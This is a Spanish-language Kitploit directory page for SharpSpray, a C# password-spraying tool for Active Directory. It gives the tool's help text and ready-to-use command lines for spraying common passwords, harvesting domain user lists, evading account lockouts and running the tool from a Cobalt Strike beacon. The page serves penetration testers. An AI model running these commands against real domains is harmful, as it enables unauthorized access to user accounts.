Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SharpSpray — Herramienta de pulverización de contraseñas de Active Directory. Obtiene automáticamente la lista de usuarios y evita posibles bloqueos. | Kitploit
Herramientas/GitHubGitHub/iomoath/sharpspray
Ataques de ContraseñasPruebas de PenetraciónAutenticación
GitHubiomoath/sharpspray

SharpSpray

Herramienta de pulverización de contraseñas de Active Directory. Obtiene automáticamente la lista de usuarios y evita posibles bloqueos.

Ver RepositorioSitio web
13221hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SharpSpray


SharpSpray es una herramienta de pulverización de contraseñas para dominios Windows escrita en .NET C#.

Introducción

SharpSpray es un puerto en C# de DomainPasswordSpray con funcionalidades mejoradas y adicionales. Esta herramienta utiliza el protocolo LDAP para comunicarse con los servicios de directorio activo del dominio.

Características

  • Puede operar tanto dentro como fuera del contexto de un dominio.
  • Excluye cuentas deshabilitadas del dominio de la pulverización.
  • Recopila automáticamente los usuarios del dominio desde el directorio activo.
  • Evita posibles bloqueos excluyendo cuentas que estén a un intento de ser bloqueadas.
  • Evita posibles bloqueos recopilando automáticamente la configuración de la ventana de observación de bloqueo del dominio.
  • Compatible con políticas de contraseñas de grano fino del dominio.
  • Filtro LDAP personalizado para usuarios, p. ej. (description=admin).
  • Retardo en segundos entre cada intento de autenticación.
  • Jitter entre cada intento de autenticación.
  • Admite una sola contraseña o una lista de contraseñas.
  • Aplicación de consola de un solo archivo.

Uso

Argumentos de línea de comandos

root@kitploit:~
> SharpSpray.exe --help

  -v, --Verbose       Show verbose messages.
  -u                  (Optional) Username list file path. This will be
                      automatically fetched from the active directory if not specified.
  -p                  A single password or a list splited by '|' that will be used to perform the password spray.
  -k, --pl            (Optional) Password List file path.
  -d                  (Optional) Specify a domain name.
  -m                  Use this option if spraying from a host located outside the Domain context.
  -q, --dc-ip         Required when the option 'm' OutsideDomain is checked
  -x                  Attempts to exclude disabled accounts
                      from the user list (Not supported with the option -m)
  -z                  Exclude accounts within 1 attempt of
                      locking out (Not supported with the option -m)
  -f                  Custom LDAP filter for users, e.g. "(description=*admin*)"
  -o                  A file to output the results to.
  -w                  Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute)
  -s                  (Optional) Delay in seconds between each authentication attempt.
  -j                  (Optional) Jitter in seconds.
  --Force             Force start without asking for confirmation.
  --get-users-list    Get the domain users list from the active directory.
  --show-examples     Get domain users list from the active directory.
  --show-args         Show command line args
  --help              Display this help screen.

Ejemplos de uso

root@kitploit:~
SharpSpray.exe -v -x -z --pl password.txt
SharpSpray.exe -v -x -z -p "Passw0rd|Admin@123|Admin@2022"
SharpSpray.exe -v -x -z -p "Passw0rd"
SharpSpray.exe -x -z -u users.txt --pl psswd.txt
SharpSpray.exe -x -z -u users.txt -p Passw0rd!
SharpSpray.exe -x -z -s 3 -j 1 -u users.txt -k psswd.txt -o sprayed.txt

SharpSpray.exe -w 32 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt
SharpSpray.exe -w 32 -s 3 -j 1 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt

SharpSpray.exe --get-users-list
SharpSpray.exe --get-users-list > users.txt
PS> .\SharpSpray.exe --get-users-list | Out-File -Encoding ascii users.txt


* Uso en Cobalt Strike:
beacon> execute-assembly C:\Users\sec\Desktop\tmp\sharpspray.exe --Force -w 32 -s 3 -j 1 -x -z -v -p "Passw0rd|Admin@123|Admin@2022"

* Verificar trabajos en Cobalt:
beacon> jobs

Obtener solo la lista de usuarios del directorio activo

El siguiente comando obtendrá los usuarios del dominio e imprimirá la lista en la consola.

root@kitploit:~
SharpSpray.exe -x -z --get-users-list

-x: Excluye cuentas deshabilitadas de la lista de usuarios.
-z: Excluye cuentas que estén a 1 intento de ser bloqueadas.

Meta

SharpSpray | Herramienta de pulverización de contraseñas de Active Directory

Descargar herramienta